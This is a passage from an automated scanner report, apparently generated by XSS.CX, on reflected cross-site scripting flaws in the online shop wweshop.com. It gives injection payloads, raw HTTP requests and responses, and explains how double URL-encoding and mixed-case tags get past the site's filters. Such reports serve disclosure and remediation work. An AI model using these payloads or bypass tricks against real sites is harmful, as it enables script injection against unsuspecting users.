   var s_eVar24="cat-newreleases27a52</script ><a>b5c7c24b15e"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.19. http://www.wweshop.com/item/rey-mysterio-619-scarf/NewReleases/50-06504 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/rey-mysterio-619-scarf/NewReleases/50-06504

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a46e6%253c%252fScRiPt%2520%253e%253ca%253ea284789ecaf was submitted in the REST URL parameter 3. This input was echoed as a46e6</ScRiPt ><a>a284789ecaf in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/rey-mysterio-619-scarf/NewReleasesa46e6%253c%252fScRiPt%2520%253e%253ca%253ea284789ecaf/50-06504 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 52527
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=96533%5F50%2D06504%5FRey+Mysterio+619+Scarf%5F%5F14%2E99%5FY%2A%2A%2A&CARTID=2010111119394496432392084&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDAQDQQRST=NNPLHCECGCMGFIKDAKAPLMMC; path=/
Date: Fri, 12 Nov 2010 00:39:44 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - Rey M
...[SNIP]...
Var16=""

   var s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::rey-mysterio-619-scarf"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleasesa46e6</script ><a>a284789ecaf"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.20. http://www.wweshop.com/item/triple-h-return-to-fear-top-rope-sweatshirt/NewReleases/04-00849 [REST URL parameter 3]  previous

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/triple-h-return-to-fear-top-rope-sweatshirt/NewReleases/04-00849

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 223fb%253c%252fScRiPt%2520%253e%253ca%253e990b2052b7f was submitted in the REST URL parameter 3. This input was echoed as 223fb</ScRiPt ><a>990b2052b7f in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/triple-h-return-to-fear-top-rope-sweatshirt/NewReleases223fb%253c%252fScRiPt%2520%253e%253ca%253e990b2052b7f/04-00849 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 54254
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=31345%5F04%2D00859%5FTriple+H+Return+to+Fear+Top+Rope+Sweatshirt%5F5%5F57%2E95%5FY%2A%2A%2A&CARTID=2010111119393482131385004&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDAQDQQRST=BJPLHCECGHDCOMMJPGPEFJLN; path=/
Date: Fri, 12 Nov 2010 00:39:34 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - Tripl
...[SNIP]...
ar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::triple-h-return-to-fear-top-rope-sweatshirt"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleases223fb</script ><a>990b2052b7f"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

Report generated by XSS.CX at Sat Nov 13 20:04:49 CST 2010.